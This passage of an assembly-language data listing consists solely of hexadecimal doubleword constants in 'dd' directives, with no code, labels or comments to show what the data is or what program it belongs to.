0D2C9E499h, 1D7CBEECh, 74FE2035h, 5CFC3801h dd 0C265D26Dh, 180B642Dh, 0C437D1E0h, 0F6956F02h, 2FCC427h dd 0F19B9A70h, 707BEF28h, 0DDC43B59h, 0CEA400ECh, 0F0489833h dd 45814A47h, 37BC4C2Ch, 6375008Ch, 0AA8F05E0h, 0A52274FBh dd 0E3AF802h, 3CCA425Eh, 0F34CB093h, 0D08B700h, 0B4D10F50h dd 0B16C0F96h, 89B888B2h, 3F390893h, 0C56E816Fh, 69DCAB4h dd 9924DE8h, 15FFF2F7h, 4CE8A0C3h, 58C2F556h, 409DF411h dd 25A23B30h, 58ED5C4Ah, 0E86EA0CEh, 1A05CACh, 0BC4CDD5h dd 2B12A8DAh, 9AB8B4C3h, 2698A102h, 3B7A6596h, 7D523DCh dd 0FBE984C6h, 0A5004CC4h, 92767CF8h, 14640E7h, 0F6042EEEh dd 2CAA63A9h, 8C31BCFCh, 8FE820Fh, 11642F7h, 2EEC7E7Bh dd 0D4465C50h, 6EF7FC09h, 610C4490h, 0B233000h, 0ED529C59h dd 0BBD902FDh, 333C9DEBh, 64025078h, 0A04147A6h, 13CD66Bh dd 34D8AD24h, 0BC4F2046h, 0C902E327h, 403B2C68h, 0D6918030h dd 27000AEAh, 89DD990Dh, 0C377A0DBh, 1DF8C020h, 4EBD92C9h dd 0D3FE1120h, 3C5ED089h, 0A96217D6h, 97F0C87Eh, 72188000h dd 6C603D39h, 1D8100F6h, 77765B54h, 0B0733AF9h, 79A69A09h dd 275BE0CCh, 56A4A8CAh, 78E900AEh, 0EC8C419Dh, 45027EB2h dd 0B1C4BEEFh, 0B0A260DEh, 0BC37B5DFh, 7D7CC202h, 0B7C04450h dd 49343404h, 0A2DC682Dh, 0A56900EDh, 3FDE8DE3h, 359D6A78h dd 0B21480B4h, 0F4B3B034h, 0C92024Fh, 8DDCE82Fh, 0E8030DBh dd 0E5EB5018h, 37EADD09h, 8C5A2Bh, 6ADAED62h, 0B8CF0D8Bh dd 0F7CA2300h, 983D6342h, 37E876h, 9E7E6D7Ah, 0EAF88BF5h dd 61E3D619h, 0F022D3B0h, 7A301FF2h, 9B8604A0h, 0C88235C5h dd 0CA2491ACh, 0B727B0ABh, 7CC90088h, 0EDB7043h, 48DDBD04h dd 789427B8h, 59AC54C1h, 0FD4403Fh, 91723E79h, 5B97C825h dd 6C2382Ch, 0C826B2C7h, 2F1D00A1h, 0B3B5B6D4h, 3E0099DDh dd 90080122h, 57972C3h, 32FFA037h, 0DBD0C370h, 55BA6EABh dd 4EAF5C04h, 0BD20CE70h, 4B40A023h, 0A44AF928h, 0E44CE595h dd 0B0156018h, 0C64C5EDBh, 0B0AD4924h, 6E5824C0h, 0C42CF15Bh dd 0BF9F6504h, 42CA8CBh, 0D987F2F6h, 0A20816EAh, 3036F2D8h dd 63005755h, 4931D2ADh, 4D6867A0h, 0FF1D0CE7h, 0E8418CA3h dd 485C8310h, 0C03A4E28h, 3600D523h, 0A03D6CECh, 5354394Ah dd 8CD885DBh, 0E40B9B20h, 9115157h, 0DCE05E60h, 3EEAD04Ch dd 0DEC380BCh, 0EB8EE58Bh, 9E960B75h, 0C78233Ch, 0F0DB42Fh dd 0FF62E4C8h, 7A733C42h, 5F87F100h, 0BC229DCFh, 0E70097D4h dd 0BFFF1E29h, 0BB0080BDh, 0E5D212D9h, 81AC4C14h, 765D6700h dd 0A54349C3h, 942ED494h, 0F6CA00DCh, 8D9C0C79h, 7A053458h dd 10A5E78Eh, 0F0F0A817h, 4B94947Eh, 0F16FB4E5h, 0C449FC80h dd 4892AF34h, 9B96F25h, 11381D10h, 81938002h, 0AF10FBh dd 574ACAA1h, 0B46A83CDh, 0FF4C0898h, 0E7F68140h, 803CD50Fh dd 4522C864h, 0B0536C2Ah, 31C8808Bh, 608BD5C2h, 1867FE6Dh dd 0D8377C4Bh, 9CA68F4Dh, 0FFC431C2h, 0A70C46F2h, 603044B8h dd 0FC49F2h, 53A0E591h, 0A29E1FB3h, 0FDE46550h, 246BD15Ah dd 3080BD3Ah, 3EB71AD6h, 465C4C63h, 8C1CE8F0h, 3190F775h dd 83B36902h, 0E92D030Ch, 0FF6ABECh, 57F69FE0h, 0B2981050h dd 349D3715h, 0B42F4ED4h, 2100D723h, 4C50D6ACh, 49BCBC2Bh dd 3FC86780h, 0D20726D4h, 9054CED9h, 0DF3E4100h, 3750323h dd 635F0738h, 79DA24C8h, 0D79BAF09h, 4C60A961h, 0D488BEDCh dd 0E08B4C25h, 80137C78h, 35606D50h, 48C1D2A1h, 0B634C31h dd 0ED4F1400h, 7F0FD3BEh, 0D4F00D4Ah, 44C400F0h, 0E1AA6789h dd 49E51EBh, 251A215Eh, 0DB88AB80h, 49A73367h, 7E10BC03h dd 1F15171Ch, 0D923503Ah, 8084660Fh, 0FA28F02h, 34C50CCEh dd 6A601AA3h, 0F77ED200h, 40AF56C6h, 0A9E800B2h, 9FACD1E4h dd 0E5058E07h, 0E05C3649h, 0F263D088h, 98A0662h, 10865F81h dd 10244E48h, 3F0A02E8h, 0ED8366Ch, 0F5807F2Bh, 0BCDBB169h dd 0A954819Fh, 0C4E0B35Ch, 0F010D211h, 9CBCCBFCh, 10F0CD89h dd 0C644FCh, 9E5B28DDh, 0F4FC7A06h, 25C2A809h, 2AFF85D3h dd 0D5A268F3h, 45DE130h, 5CC7E689h, 2DC4FD90h, 0E9C8689Fh dd 11A500C1h, 2CDB9A08h, 0E40167AEh, 6BF0A8CDh, 0F47047BBh dd 0A638D21Dh, 0A0343EF8h, 4220020Dh, 8EC4148h, 80AC370Bh dd 25430BD0h, 180568B8h, 3AF6666Bh, 682ACC4Bh, 0EFABE298h dd 0FAB17720h, 9C95008Bh, 50F0B0AAh, 0D72544F9h, 0F1B079C7h dd 0A2FE18D4h, 881775F4h, 6C800291h, 300610CFh, 0E9D47D0Ch dd 70E173h, 69A323D7h, 87CDAE1Bh, 512E3E01h, 9D7E42DEh dd 14C4C071h, 883C9C16h, 0E5053F2Bh, 0A83AC426h, 0F8091823h dd 0E05803C7h, 28584866h, 241FF310h, 97AF5845h, 8718916Ch dd 0FD008B6Fh, 901FC4C5h, 5EF0BC74h, 65011D46h, 0DA53E9C1h dd 7FB02071h, 0D89E3429h, 878C9807h, 5487D8A4h, 0CA7518A3h dd 79A4C851h, 5FA327A7h, 0CA932840h, 9FA0EC54h, 690DBC30h dd 0BD08D222h, 0A4412803h, 0E5F79EC0h, 0BF911B00h, 4649DA26h dd 3C679770h, 37601CC4h, 13002E94h, 0F7BED204h, 97B3B847h dd 0EF002C89h, 0D18875C5h dd 94B8D9D3h, 98C30BCh, 0DC6211EDh, 10F83082h, 579AFD00h dd 259CBC45h, 1B60746Dh, 1A3B14CEh, 0A1408A75h, 70510E1h dd 0ACCBD095h, 9DC002C8h, 2887106h, 0AF74E8ABh, 0A478C7BBh dd 9B21A500h, 0A9448C81h, 0C6420449h, 0D26D585Ch, 6C10B130h dd 31E82053h, 6D67C712h, 464890C0h, 6FC0A874h, 5879C992h dd 0E7019851h, 9CC70233h, 803DB1E5h, 0E4A017BCh, 0B38065E7h dd 5D4A17DDh, 0C0DC9AD0h, 0C288ED03h, 0D72F04DFh, 0B09B8B06h dd 0E7023B44h, 0DB8D192Bh, 483CD2FCh, 3E8CCA5h, 18B70E8Ch dd 65E1E67Fh, 20C249E0h, 949E9418h, 0E7E49E01h, 0A820A45Bh dd 0A8C55409h, 23372543h, 6D0BCF3h, 0F8FF5C75h, 60248A2Fh dd 0C808CBD2h, 6DEEC303h, 3AB7AEB8h, 0EB2E7B07h, 8E31BFE4h dd 5EF6D79Fh, 69238B14h, 0C2D00873h, 18750BADh, 0D4E39853h dd 50C0E7BBh, 7001BABDh, 0BBB177B4h, 0C12F5ED1h, 283D1960h dd 0C8B4E68h, 30251A84h, 0FF418520h, 28BD2C0h, 531E04F8h dd 54C7C002h, 7360D8E4h, 173FF703h, 44780E4Bh, 6B6846CAh dd 0E78F12D0h, 89B0B09Bh, 75C03F04h, 12BECBD9h, 0C878CB88h dd 4953C0DBh, 0EA0703E7h, 0DDA71684h, 1122D631h, 0DA305084h dd 2590F88Ch, 1852E8h, 0DB679747h, 0CE4FFCE5h, 0DA314009h dd 9EC8A0F8h, 9FD8FF0h, 210F5019h, 3A024C5Ah, 1BEA24Bh dd 0B08C080h, 1D824881h, 830A8F02h, 0B8DC7297h, 0B7103240h dd 753F0381h, 1BBC65CAh, 19C44D8h, 0F0A50B00h, 0AB0A9B36h dd 45370051h, 0E5EB9189h, 0C525AFBAh, 0E46865B2h, 0D4506736h dd 5C848B41h, 3B2D547Dh, 84C42825h, 496CE250h, 275BCF8h dd 0B7D960D8h, 0A95D3EBBh, 16437B4h, 38A5CE8Ch, 0DC323E49h dd 34C610B7h, 14964720h, 58A4D965h, 58C4DACh, 8C43199Fh dd 0EC3CAC0Ch, 36008C01h, 9E5F4CEBh, 25804575h, 54688ECEh dd 0CC49B222h, 0B8E70830h, 906C123Eh, 0EC9E4EA0h, 0C7C1522Dh dd 63016420h, 0B991A09Dh, 0D9710084h, 4D6B7F36h, 0FC12A643h dd 0C491DB8Bh, 38840D10h, 0F0358ACDh, 0C72E718h, 0AA9C539h dd 846CA05Ch, 0BDEA824h, 1F8E74E5h, 8F3D50FAh, 0D5F48BE4h dd 7FC0013Bh, 7984226Eh, 8048DBB0h, 41C90388h, 20823516h dd 18A62CC4h, 1C8D8EE0h, 3C9C0F05h, 0A800C0CDh, 0BA9D3464h dd 768C9C65h, 0A500DC46h, 0C56587BCh, 2D02A280h, 9BA04936h dd 4C20F06Eh, 2C9E0CCBh, 0FF8F4048h, 0A490AE4Fh, 326B43E0h dd 981C7291h, 0E72C173Ch, 23E03F3Fh, 3964041Bh, 0F388882Ah dd 11DE4D00h, 8FB280C8h, 351B4F81h, 0EB98049Ch, 87F30103h dd 0A080A7DBh, 69E6F1C4h, 28C1FE18h, 6CBF3CC5h, 0F5BEEA00h dd 2C4FE75Fh, 0CFC18075h, 7C5D1Bh, 7E2E33A4h, 2A1CD843h dd 3C5EE109h, 8B1C41DDh, 0E7257816h, 2BE0A26Ah, 0CE690EC9h dd 754714D4h, 289B6BB5h, 3E2C1B80h, 449D1A76h, 0F29F858h dd 4A88F1ACh, 0F9840720h, 47DED09h, 0F657F201h, 5DE77820h dd 0DBFC59EEh, 0B7096084h, 7E3B0029h, 0A7521F40h, 1327FFF1h dd 605021D5h, 0DB2AAE2Fh, 8FE68010h, 5BD279F4h, 0E4D080A0h dd 0CB2EB3D6h, 0CD848C78h, 0B8A8DABAh, 5C8C4DBCh, 0C07FA002h dd 2CB1D9D1h, 0C78BF9Dh, 6F0447B5h, 970584F1h, 6FD408BAh dd 9DC9F109h, 823311CCh, 0C0933D91h, 0C09BF578h, 0A7181A08h dd 6A5F022Ah, 8BC098DAh, 2486426Ch, 89E3E439h, 7469F6A0h dd 18465EE4h, 0D233A101h, 3C2D0120h, 0D9990098h, 4F8D14ABh dd 5309090h, 67BAFECDh, 0EDA8BC3Dh, 0DD9D30EAh, 0BF0C3800h dd 262FA28Fh, 0FD130BA8h, 48799F9Ah, 1C60D4F3h, 7479E2AAh dd 4416F800h, 3FA0391Ah, 0EEDB0032h, 47E5D9C1h, 1909989Dh dd 65D7E678h, 6018E420h, 16AF56D3h, 0A893AA67h, 0B8F4C06Ch dd 0F29080h, 0C4BC7913h, 66CE9C35h, 881430B4h, 38C84E24h dd 0E86900AEh, 56980B9Bh, 0B709ED23h, 2478ABC5h, 0A0F4D484h dd 7D63003Eh, 0C9F69C9Fh, 2A954B49h, 0E0A42058h, 1CBB08h dd 0A5E211AEh, 130B2DF2h, 9DF19015h, 8FDC1158h, 2020CF4Ah dd 7413F3AEh, 6EA0F2E9h, 0A540697Fh, 2640322Ch, 0B039C562h dd 5AD6401Ah, 76C82782h, 66704CFBh, 52823058h, 0DC469206h dd 0DD11A401h, 0BEB4849h, 7764606Fh, 75009A46h, 8357FC91h dd 0F2D87DDEh, 0AEB8007Ah, 0FD59415Fh, 0A495FA27h, 30DBA7C4h dd 99D9F87h, 4674A0DEh, 0D5A6001Dh, 3C68D43Dh, 75171755h dd 63F8D08Eh, 0CD9F5C4Ch, 2482C0BCh, 12002D70h, 7A1E4B3h dd 0C054DA0Bh, 0A6F60314h, 442C4836h, 0F1A54CADh, 181D7968h dd 0FC11095Bh, 74E2FEA6h, 3C40047h, 16110065h, 43F4792h dd 37C6B52Dh, 26CA00F0h, 7D9E5468h, 49A96114h, 8C1EB824h dd 1106500h, 49CEE560h, 7920249Fh, 83348914h, 918044DEh dd 9E10E77Ah, 416F606Ch, 0F0F9D034h, 4DA4E225h, 44BD6010h dd 70BE489h, 9F102C4h, 7104D17Ch, 0A4F01935h, 5C6A01F5h dd 65C7D8FDh, 0A25DDAC6h, 548F4D60h, 58C932Ch, 0C2C5BA47h dd 0F1016D60h, 2C2B9FE2h, 0AF958960h, 80849480h, 4AC1B5F0h dd 0A23F01D1h, 5B2341DDh, 0C0383C3Eh, 64F2C5AEh, 0A5709EFFh dd 851F09Ah, 0EC181C79h, 0C1F7077h, 0CEC9F69Eh, 0DC607481h dd 3496BF00h, 9035BD73h, 17A02D82h, 38F660F2h, 0A798848Ah dd 1DF898ACh, 0D160008Ch, 0A042927Eh, 2CA96E9Fh, 10C1149Bh dd 0AC50C5C1h, 1C54A666h, 966A9F58h, 3C38B087h, 0C1BB3325h dd 0C22A7110h, 0E447FBA8h, 0E3601FE4h, 5D0266E5h, 0BBB340D1h dd 0B8005590h, 0ABB7F2F3h, 0F6C8F12h, 30BCB4A8h, 0BFD3018Ch dd 7B59CA06h, 80527B38h, 89C334A8h, 0A2A85A40h, 4501C6E6h dd 0EE391F18h, 0F09CAAFFh, 7B1C6848h, 5468B5F1h, 2B553C9Ch dd 34802884h, 0ACA3F894h, 5630D9A2h, 89C6013Ch, 446CCAD4h dd 6A53E0C4h, 0B32468B7h, 886F44B1h, 12020520h, 0E8B4D38Ah dd 0F04B0438h, 8D014A8Fh, 800FC483h, 89670518h, 0C8339Ah dd 0E6F3C5ACh, 9F0D040Bh, 0F48B064Fh, 0F8C131C8h, 0C0DE45D5h dd 49184C74h, 4B01EC7Ah, 0D2D6B41Dh, 202F6A08h, 0F900D923h dd 0F8EE2B35h, 5E6228C5h, 6D7B2D84h, 0AB735C22h, 9809E00h dd 16F02434h, 43A42698h, 0E0C86D2Fh, 31E54599h, 0F46E6FC0h dd 26ADB100h, 0DAD12C6Eh, 4B61900Ah, 7449B088h, 409543B0h dd 7B4D63B8h, 9DEA8300h, 6EA6DF01h, 5C3900F8h, 0B1F43382h dd 0F558902Fh, 8C1FE808h, 2BC72900h, 0F8DDE7D9h, 0AC78040Eh dd 92285319h, 0E8F4EE40h, 53F04D6h, 0E1CE9708h, 68205994h dd 8C1EBCD0h, 5079F132h, 400CFC8Dh, 0CDA416D8h, 44881F4Fh dd 0E70F44E6h, 97215600h, 793549B8h, 405F4CCCh, 8BEAC080h dd 0D09E4F1h, 0E22CD295h, 50827FB0h, 0B51A779Dh, 500F8034h dd 468E4CD7h, 67D2AC07h, 13F8B333h, 9A3C75F3h, 0D6BAC2CCh dd 0D8E0DBC4h, 72B0DE53h, 0A2FDE730h, 178FC8D9h, 0B144CBB7h dd 0CD2F62Ch, 0A10043B0h, 0C800BE8h, 0B4A093h, 5289D8E0h dd 545D2FE4h, 67069801h, 0C92BACA1h, 8CFB0430h, 0C022B0BEh dd 96A62007h, 0D851F10Fh, 43C41382h, 9240040h, 7B421549h dd 0E4B64A48h, 174E20A8h, 0B0ADFCC5h, 380F48ACh, 0C074341Fh dd 0BEC1F7F0h, 0B825FD96h, 0FFFC6C6Eh, 37EF6F03h, 0A7EE980Dh dd 5413D270h, 526500B8h, 0AB176889h, 6200A7CBh, 6D43C029h dd 9735AEFh, 4CD683CAh, 4E045681h, 0D8B221C2h, 0D3300622h dd 9B96498Eh, 8DE812h dd 57A83543h, 78D9C5DDh, 1780D101h, 0C110BBDBh, 0C1ED05FCh dd 0B7881F58h, 818BF82h, 0DE3E94Bh, 8C4814D9h, 617C5B58h dd 504803F3h, 0DB6FC062h, 32CA1698h, 53AE6B03h, 0E79124Eh dd 6648D29h, 0A728660h, 56337D94h, 0A1A951CBh, 0A9BCBABDh dd 39EBF300h, 0DAF88C6Ch, 994D631h, 208053FCh, 83A04D3h dd 0BD145CB1h, 148CF7AEh, 1460FEE9h, 0F6CBCDFh, 805B0F15h dd 2D859478h, 6036EE24h, 5219988Ch, 38C0F511h, 434434D1h dd 0BF8800CAh, 362C9FF3h, 0C128D41Eh, 6D16645Ch, 0A40A526Ch dd 69C4DC67h, 5264B740h, 0BB30B427h, 0ACF1D106h, 811E00B0h dd 9D5D46EEh, 0C900E780h, 0DB317BE9h, 0EE39714h, 77D3BFDDh dd 6AAA4680h, 0E615133Ch, 0A0D696h, 0AC79B5B2h, 0EA189F1Bh dd 8CF6653h, 983D21AEh, 0A500F6BCh, 0ABF5FA12h, 11B69h dd 0DEAC553Ah, 1538D4D9h, 7EB66D0Fh, 0E5256114h, 18805494h dd 223DE97Ch, 0BB070BADh, 0BEB81BA9h, 0BA5540D0h, 90102F3h dd 0D8952FB4h, 0CB0FD88Eh, 1A50B0A0h, 0F314BEE8h, 42B40758h dd 30ABE25Ch, 9402849Ah, 0C3D92CC1h, 0AEA8905Bh, 917400A7h dd 108B499Bh, 157057B0h, 0D70C8400h, 0F1B3202Ah, 0B67A0ABAh dd 80EC412Bh, 85C77B1Ch, 250014DEh, 3A2C6BCBh, 93AC648Ah dd 8EDA017Ch, 87382B62h, 15A43439h, 0B6BAC1DFh, 998D30Fh dd 0BD142127h, 48CA1501h, 409020FAh, 0D3AD8840h, 654F0C34h dd 8DB9777Dh, 970384A0h, 0AFE8C286h, 84B1C71Bh, 0C39311A7h dd 9E2D5ECh, 0A38B8EECh, 0E30D4000h, 0D9241705h, 1BE0A862h dd 0C06C7A58h, 0A34C41C8h, 8E41C88Fh, 2D886C0Bh, 0ECD67C0h dd 8F8A0C76h, 180A073h, 0FEA82101h, 3E2BD89Fh, 1C763180h dd 1D8E0D42h, 0C3003B75h, 93DB6ADAh, 91100AADh, 80A791ECh dd 8C6E39E9h, 0FA448CE8h, 3A0200D1h, 0BAF93841h, 5D03C728h dd 0C26086E5h, 55E801DDh, 32581E97h, 391080DFh, 49ACBD3Eh dd 0AA71C88Ch, 7139EEC1h, 0FF18E0F9h, 2E7D088h, 938A0639h dd 0ACA0A29Fh, 4698B648h, 4BA8F350h, 0D6BD6B00h, 2085B57Fh dd 36BCA0ADh, 0F2198080h, 717CB849h, 8C372A15h, 90970D0h dd 259619A0h, 4C20BE98h, 706D39EAh, 22DB438Ch, 3D400F7h dd 0ABC4743Ah, 6A1E42C2h, 0AB98C5Ch, 0CCD867B7h, 32305984h dd 45C14080h, 0C1D4610Ch, 22C00670h, 63860044h, 0D7FE4D8Ah dd 8ED912EFh, 0AA0C6068h, 0BB10B515h, 2FC8B80Ah, 1C01F692h dd 3D533F73h, 0F1548340h, 1F091488h, 0FBE8F0D4h, 5A60028Ch dd 2BEA2EA5h, 0A700AC44h, 2D9822EEh, 3AAC11Ah, 435B2E1Eh dd 9B905608h, 380677C8h, 7187C0FCh, 0CC1F4C78h, 78C65BCh dd 232AE51Bh, 0D0988915h, 9F02F933h, 0FAA01731h, 90744383h dd 0AE2C57h, 4555787Bh, 50901FDDh, 1CBFA026h, 0B1806791h dd 22BBB815h, 2A44A4ACh, 15A300F7h, 442BD10Bh, 0CE60F5E1h dd 575CC658h, 14367953h, 0E8389C10h, 80B0C33Dh, 797259B9h dd 6B022770h, 0ED69B6A6h, 74642Ch, 0F7CC3092h, 0CAD40DECh dd 70793D1Fh, 9DD83889h, 0C63C40h, 6A33A96Dh, 0E39E8F4h dd 8AF18762h, 2684167Dh, 0CF211088h, 0BE177Ch, 0EE995144h dd 7434288Dh, 0ECCEC83Ah, 99C0FD88h, 71FFE360h, 48356010h dd 14DAF88h, 18382751h, 520871FCh, 0C44FFFF4h, 69B44062h dd 6292A052h, 0A2BBB879h, 23E68B03h, 0F003A8A0h, 0A48C6F39h dd 322EF762h, 0B90B7000h, 4D40420h, 11549F02h, 8098C20Ch dd 7C08FF00h, 16B8C730h, 2B9982B6h, 6F60C024h, 0FF23EE52h dd 64113Fh, 325267BAh, 1742CF0h, 231F146Dh, 8299F744h dd 0FB881BB1h, 5B44606Fh, 2AF4BA93h, 0FAE8D395h, 745F1494h dd 4A009CBDh, 19B2C4E2h, 0E315855h, 758438D9h, 0F2457082h dd 5CC41466h, 0BB020446h, 0CF1BA679h, 9212A831h, 0FE9B5A00h dd 594B17BAh, 1DA801E4h, 8E775778h, 5599D368h, 96E71030h dd 782B8CBh, 3094A71Bh, 82BF973Dh, 4594EA41h, 781C84F6h dd 0ED806CC0h, 9AB77206h, 460C9080h, 527002BDh, 3347FFF5h dd 68B343DCh, 8F41A852h, 0F358021Ch, 0F9BFF609h, 0A25B63C0h dd 0F890D850h, 493C9E54h, 44A439EEh, 18593428h, 483BE9D3h dd 2E00F723h, 5C7419E6h, 3BDF0082h, 88C1AD70h, 29C1E8BCh dd 0D4EB8F14h, 0A9333820h, 0A30C133Ch, 39ED048Ch, 67C88C72h dd 3CD210Ch, 725739E6h, 14F2EBBFh, 40EDE4E2h, 4522ABC0h dd 0E59E0190h, 10B88FD4h, 0A7E1C496h, 4387120Bh, 0B76CA185h dd 80895516h, 68A0452Bh, 0BD72E6F4h, 0DD512E00h, 2F25BA01h dd 0AC60016h, 2D653D55h, 0EE00A6D8h, 0C03A2014h, 0C0090143h dd 3752C8B0h, 0CE60567Bh, 9BA616D9h, 1254999Eh, 6B0C60C4h dd 0FF21EA52h, 63CEC05Fh, 57776252h, 27EC1214h, 79C402CEh dd 0C024A007h, 4D683ECh, 45C3CB01h, 22BC88FFh, 0F4769403h dd 0D00E5DC2h, 0B8DD2D55h, 397C3058h, 5BB714E8h, 0A498B66Fh dd 98D2FC57h, 64604763h, 0AEC36063h, 567601DBh, 93907D1Eh dd 58BC207Bh, 0E83E0724h, 0AD465Eh, 7ECF64Ch, 6438D6h dd 3B087B30h, 2C5B9B95h, 9A4F121Ch, 91741DE5h, 418A80ACh dd 257320E7h, 0BC822B23h, 5C72BD06h, 7C9217E0h, 372B1406h dd 41A695h, 1AAA5C0Ah, 7E96357Fh, 3CF68900h, 9C3C455h dd 74D3DD6h, 31CB1400h, 0EACCF21Ah, 7D054898h, 648EE13Bh dd 4AEDC98h, 0AABBB915h, 202832B6h, 9815A712h, 0A943C109h dd 0A13402E1h, 7C84728Eh, 0C3C73045h, 0E83ADB56h, 0EFAFFF0Fh dd 1989FBAh, 9960D130h, 40DA14B8h, 0FC8C2DACh, 63A1898h dd 0B5C570BEh, 28E35513h, 40785C82h, 907DAE38h, 0D84B0120h dd 0BA0BA1BEh, 0BC042CA3h, 0BC028C2Bh, 1023F0E1h, 48AF4168h dd 2FD8C040h, 0D42012E2h, 105067C2h, 6FFFF052h, 0C0C9C0B1h dd 0F7B4564h, 4A23B35Ch, 2581316h, 76338010h, 0C401F300h dd 787DE8D7h, 0B0525155h, 0D00BD4h, 4245BA51h, 3CD3ADECh dd 8A7A9D0Ch, 4C7C6174h, 14927C58h, 88481CCCh, 114C7A24h dd 79B98002h, 8CBF1BB0h, 7B94AA44h, 2D6A01C0h, 0A1C762F9h dd 0E82987h, 0A86CD58Eh, 0F1F7C6h, 779981D0h, 3D974DADh dd 0A8799499h, 0F9097A18h, 1D25201Dh, 80A911D0h, 8CE8EE72h dd 1D550014h, 0EA6AD153h, 1A2C7D6Bh, 0B38214B0h, 0A8C4F3BBh dd 0D502C3B8h, 0A00E0D17h, 0BBB6EC98h, 1244989Dh, 3A1314F7h dd 2A2350h, 294D9841h, 0B01C573h, 1946943Ah, 908ADA6Dh dd 83E8F858h, 0B7A3AF8Ch, 20127002h, 0A0765A3Ch, 0B11730E4h dd 0DD3401DFh, 1484AEA0h, 0ECBC600Fh, 11E81D8Ah, 0D36280ABh dd 59815FF7h, 7581085Ch, 2044B427h, 0DA4BBA6Ch, 2D238C2Eh dd 0EF670600h, 0D3AC9Bh, 0DD231734h, 2180D84Ch, 583E3829h dd 4218AF59h, 0B0711C12h, 0D197E203h, 628A8027h, 0C5716DFh dd 573C1C1Fh, 5CDC3308h, 92724127h, 0AD428080h, 12143Ch dd 712629DBh, 17F0451Dh, 50C0BD2Eh, 1FE467Eh, 1DC8A540h dd 0A4698CA3h, 614BBB04h, 4548CCEDh, 0A58ADD3Ah, 3D7C1720h dd 0AEE607C6h, 34707A36h, 26C1E2BCh, 0F4E01F39h, 0F37DCC0Ch dd 0E045A110h, 1D670BBFh, 9422AE60h, 111D4EC1h, 3CED80AEh dd 2A1DCCEh, 0F66657FCh, 8C9885A2h, 0A4DFD43h, 95220E78h dd 1F1CE50h, 18D810F8h, 3C43E841h, 0B706308Fh, 1F298455h dd 1868799Ch, 588D28C8h, 8616172Ch, 7B3441CBh, 63542111h dd 0E9A8501Ch, 0BA029643h dd 0B71BB179h, 950F0CE7h, 5F1A60C1h, 2E3B74CAh, 33C8B85h dd 0DC584453h, 0E372C1BDh, 0C47C6580h, 2650C183h, 34A4EDACh dd 1B56B662h, 0F906797h, 7E60BE59h, 0F3BA3BB6h, 0B60044Dh dd 426E5855h, 56FC4078h, 45B388C6h, 8C41FE4Bh, 81DB807Bh dd 0C6F7D600h, 0AE7820FAh, 0C9310260h, 74BE5D08h, 94EB00ABh dd 8247BCC3h, 857FB186h, 9AEC131Eh, 2C520388h, 0E82250h dd 731A98D8h, 5D238293h, 790D3818h, 15452E9Ch, 0C87AD206h dd 17753E50h, 51EACCBh, 82C601F3h, 28583418h, 9FF4F925h dd 9DAA1188h, 3B4DFD00h, 49607BB1h, 21056432h, 0E292A28Ch dd 694A0870h, 781F02FBh, 607889E0h, 77D6049Eh, 0C0700Ch dd 94062954h, 72BC2FA6h, 0E4402C4Fh, 0FEB3D1E8h, 0E2AC0051h dd 0E5FA8FDAh, 1FEE5288h, 0F8561204h, 94C03D79h, 0BAF2F99Fh dd 8ED91498h, 0A58B4863h, 0C2BB4482h, 0B038EC47h, 8DD8B0BEh dd 3F00B988h, 0C0F3BF12h, 0F01D1830h, 7B135340h, 4F1E13C1h dd 88DCCBE1h, 5268E12Bh, 3081CD6Ah, 0F374FCA9h, 7E1E1F02h dd 6013BD77h, 48CC07FBh, 5505BC26h, 12CD2080h, 54D440BCh dd 4F9D5BF5h, 0FE43BF03h, 0E5D8FDD7h, 0FEE294B3h, 0CA24B30h dd 1BC9EB5h, 48004A39h, 0D6942596h, 49B7C8h, 0BDB1977Ch dd 84C29C5h, 17F96505h, 0B8C4D60Fh, 0BB9CD480h, 81D1010Eh dd 0E4B80612h, 110201D3h, 0EC05FC6Dh, 5D75F86h, 8FD944ACh dd 0C0ADC8C8h, 5D88DBBCh, 0EF1BFC01h, 0E458FF83h, 949C80DAh dd 1F26B6Eh, 0BA8DEB2Eh, 60297B55h, 101ED25h, 0FF43EF70h dd 84505B56h, 19CE8606h, 187B15D3h, 92845063h, 89E46B9h dd 0E2717701h, 0F0333994h, 1CC598A7h, 0C97668C0h, 89ECE306h dd 2660121Eh, 45B80072h, 79EAC64Bh, 0EB929F3Eh, 8B738h dd 0D2281474h, 870FDF84h, 0E21F082Ch, 0F0B4F93Ah, 0FBD3230h dd 40D913E1h, 0B0182F79h, 67894000h, 7016F93Ch, 17C0506h dd 0C43E1C11h, 0F788F284h, 35D92CC0h, 85C200CCh, 1D31889Dh dd 0E5004487h, 308A83DCh, 0E0A1F23h, 0DB348F94h, 7D2EBF40h dd 0DE4C035h, 0EAE12D00h, 246761EFh, 0ADB1CBDh, 0FAFC06C8h dd 5E0008CDh, 0F2CA1882h, 67BDD3h, 0EEB212A4h, 2DA32F48h dd 0F6744C02h, 8F3BE1EFh, 1AE808h, 34E39082h, 0B000E5E0h dd 0A46AC980h, 70AA831h, 12438F2Ch, 4624077h, 0CC00454Fh dd 20284603h, 0DE4C7685h, 2D95C318h, 0E5A94EEAh, 0CC3FE0F0h dd 0D7006F78h, 0DF98966Ch, 3F7A58A4h, 1480318Ch, 0BA85C92Dh dd 6004D32h, 79023DBBh, 0BF5346h, 493F4844h, 0C9282D6Bh dd 8920A18h, 0C1404E78h, 0F4DDC81h, 0C6B99EE5h, 9745A243h dd 843FE0BCh, 0F5FCFD23h, 3530C707h, 0F838EDC5h, 84306F45h dd 9DB82024h, 0B8F46C55h, 0C10C4178h, 0C04702EBh, 30D5E889h dd 0E3D1E7E4h, 0BB908263h, 0C824C31Dh, 8C23738Eh, 7AA521DCh dd 5E96005Dh, 71664762h, 0F3710B4Ah, 0B99EB230h, 60DA198Ah dd 468D836h, 0E17DB31h, 0B30C3F2Ch, 5034882h, 2F41F266h dd 2C804D3Bh, 0AF24E419h, 0F662C632h, 0D654A455h, 6F826460h dd 11CB6B23h, 18AC24D7h, 0AD2CC90Eh, 0AC088130h, 30B3E8A9h dd 1F11434Fh, 5F382974h, 31C88C88h, 0C01509C0h, 297CFF21h dd 0B871E393h, 0B7620218h, 518628B0h, 0A0E7B804h, 0A8CB2777h dd 9AACC0h, 0B045D9F2h, 0A84D4393h, 21B108CCh, 64B3488Dh dd 8017DF1Ch, 0D7A12530h, 58A4BA40h, 60273F44h, 26F639C5h dd 69E261A3h, 4DCE3E00h, 397482B2h, 6EF0A0DFh, 0F8B453A5h dd 80180454h, 0CF5423C6h, 0E8C6158h, 45DBF2A0h, 80B58891h dd 0E0F2998Bh, 880176AAh, 4712BC2h, 8440CC2Eh, 732140E5h dd 0C7718D9h, 0DE26B932h, 0B8A40B00h, 